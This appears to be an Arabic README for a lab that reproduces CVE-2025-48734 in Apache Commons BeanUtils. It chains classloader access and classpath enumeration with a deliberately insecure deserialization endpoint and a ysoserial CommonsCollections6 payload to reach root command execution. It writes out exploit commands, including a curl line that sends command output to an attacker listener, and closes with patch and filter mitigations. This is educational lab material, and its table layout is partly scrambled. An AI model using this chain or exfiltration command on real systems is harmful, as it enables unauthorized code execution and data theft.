
CVE-2025-48734 - يؤثر على Apache Commons BeanUtils في الإصدارات السابقة للإصدار 1.11.0 (وفرع 2.x قبل 2.0.0-M2).
لأغراض البحث الأمني التعليمي والمصرح به فقط.
يوفر هذا المستودع بيئة مختبرية خاضعة للرقابة لإعادة إنتاج ثغرة CVE-2025-48734 في Apache Commons BeanUtils واستكشاف كيف يمكن للمهاجم التصعيد إلى تنفيذ تعليمات برمجية عن بُعد (RCE) في ظل ظروف معينة.
تؤثر CVE-2025-48734 على Apache Commons BeanUtils في الإصدارات الأقدم من 1.11.0 (وفي الفرع 2.x قبل 2.0.0-M2). تكمن المشكلة في PropertyUtilsBean الذي يسمح بالوصول إلى الخاصية declaringClass للـ enums في Java من خلال مسارات متداخلة (مثل enum.declaringClass). ترث جميع الـ enums الطريقة getDeclaringClass() من java.lang.Enum، والتي يعرضها BeanUtils كخاصية قابلة للتنقل.
يمكن للمهاجم الذي يتحكم في مسار الخاصية في استدعاءات getProperty() أو getNestedProperty() أن:
ClassLoader الخاص بالتطبيق (عبر enum.declaringClass.classLoader).classLoader.URLs[n].⚠️ هام: الثغرة وحدها لا تمنح RCE مباشرة. إنها توفر الوصول إلى
ClassLoaderوتمكن من تعداد مسار الفئات، والذي يجب أن يُسلسل مع نقطة نهاية إلغاء تسلسل غير آمنة ومكتبة أدوات ضعيفة لتحقيق تنفيذ التعليمات البرمجية. انظر قسم تحليل الاستغلال التفصيلي.
نقاط CVSS: 8.8 (عالية) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
يتكون المختبر من مكونين:
خدمة Spring Boot تعرض نقاط النهاية التالية:
GET /api/property?path=<property-path> — تقرأ خاصية متداخلة باستخدام PropertyUtilsBean.getNestedProperty() دون تنقية. هذه هي نقطة دخول CVE.GET /api/nested-set?path=<path>&value=<value> — تكتب خصائص متداخلة (معرضة أيضًا).POST /api/data/import — تقبل كائنات Java متسلسلة خام (application/octet-stream) وتقوم بإلغاء تسلسلها بدون تحقق. هذا هو ناقل توصيل RCE.الكائن الهدف هو كائن Order يحتوي على Status enum. وهذا يسمح ببناء السلسلة status.declaringClass.classLoader.
ملاحظة: نقطة النهاية
/api/data/importليست جزءًا من CVE-2025-48734. تم تضمينها لمحاكاة سيناريو واقعي حيث تتعايش نقطة نهاية إلغاء تسلسل ضعيفة مع الثغرة. في تطبيق حقيقي، يظهر هذا النوع من نقاط النهاية في التكاملات القديمة أو واجهات برمجة التطبيقات الداخلية أو الوسيطة (middleware) التي تم تكوينها بشكل خاطئ.
| المكتبة | الإصدار | الدور في السلسلة |
|---|---|---|
commons-beanutils | 1.9.4 | نقطة دخول CVE-2025-48734 |
commons-collections | 3.2.2 | سلسلة أدوات إلغاء التسلسل |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
يقوم السكريبت بتثبيت التبعيات، وترجمة المشروع، وتسجيله كخدمة systemd، وتشغيله تلقائيًا. يستمع التطبيق على 0.0.0.0:8080.
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
يقوم السكريبت بتثبيت التبعيات وتنزيل ysoserial.
يتم أتمتة الاستغلال بالكامل في سكريبت واحد يفرض الترتيب الصحيح للمراحل. كل مرحلة هي شرط مسبق للمرحلة التالية.
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
يختبر السكريبت status.declaringClass و status.declaringClass.classLoader. إذا تم حظر أي منهما، يتوقف السكريبت — التطبيق قد تم تصحيحه ولا يمكن متابعة السلسلة.
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
باستخدام مرجع ClassLoader الذي تم الحصول عليه في المرحلة 1، يقوم السكريبت بتكرار classLoader.URLs[n] لسرد جميع ملفات JAR المحملة والبحث عن Commons Collections 3.x. إذا لم يتم العثور عليها، يتوقف السكريبت — لا تتوفر سلسلة أدوات.
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
مع تأكيد وجود سلسلة الأدوات، يقوم السكريبت بتشويش (fuzzing) نقاط النهاية الشائعة للاستيراد/المزامنة بإرسال البايتات السحرية لتسلسل Java (0xACED0005) وتحديد نقاط النهاية التي تحاول ObjectInputStream.readObject() من خلال نمط استجابتها. إذا لم يتم العثور على نقطة نهاية، يتوقف السكريبت.
POST /api/data/import (بايتات سحرية)
→ HTTP 200 — تم العثور على نقطة نهاية
يقوم ysoserial بتوليد حمولة CommonsCollections6 (الأكثر قابلية للنقل لـ Java 11+) وإرسالها إلى نقطة النهاية المكتشفة.
POST /api/data/import
Content-Type: application/octet-stream
Body: <حمولة ysoserial CommonsCollections6>
→ {"status": "success", "class": "java.util.HashSet"}
يتم تنفيذ الأمر على الخادم أثناء إلغاء التسلسل، قبل إرجاع الاستجابة. يمكن تسريب المخرجات عن طريق إعادة التوجيه إلى ملف أو عبر استدعاء HTTP:
# الكتابة إلى ملف
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# ثم على Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# التسريب عبر HTTP (مستمع على Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
ليست الثغرة ناقلًا مباشرًا لـ RCE — إنها محور الاستطلاع الذي يجعل بقية السلسلة ممكنة:
بدون CVE-2025-48734:
→ لا وصول إلى ClassLoader
→ لا تعداد لمسار الفئات
→ لا طريقة لتأكيد وجود Commons Collections 3.x
→ لا سبب للبحث عن نقطة نهاية لإلغاء التسلسل
→ السلسلة مقطوعة من البداية
مع CVE-2025-48734:
→ ClassLoader مكشوف
→ مسار الفئات الكامل مرئي عبر URLs[n]
→ تم تأكيد وجود Commons Collections 3.x
→ تم اكتشاف نقطة نهاية إلغاء التسلسل عبر التشويش
→ تم تحقيق RCE
الشرائط الثلاثة التي يجب أن تتوافق لتحقيق RCE كاملة:
| الشرط | هذا المختبر | العالم الحقيقي |
|---|---|---|
| BeanUtils < 1.11.0 مع إدخال مسار غير مرشح | ✅ | شائع في التطبيقات القديمة |
| مكتبة أدوات في مسار الفئات (CC 3.x) | ✅ | متكرر في Java المؤسسية |
| نقطة نهاية إلغاء تسلسل غير آمنة |
قم بترقية Commons BeanUtils:
| الأداة | الإصدار المعرض | الآمن |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
في pom.xml:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
تخفيفان متكاملان:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
بعد ترقية BeanUtils إلى 1.11.0، أعد الترجمة وأعد تشغيل الخدمة. قم بتشغيل سكريبت الاستغلال — يجب أن يتوقف في المرحلة 1:
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. المؤلف غير مسؤول عن أي استخدام خاطئ.
| ✅ |
| أقل شيوعًا، لكن موجود في التكاملات القديمة / الوسيطة |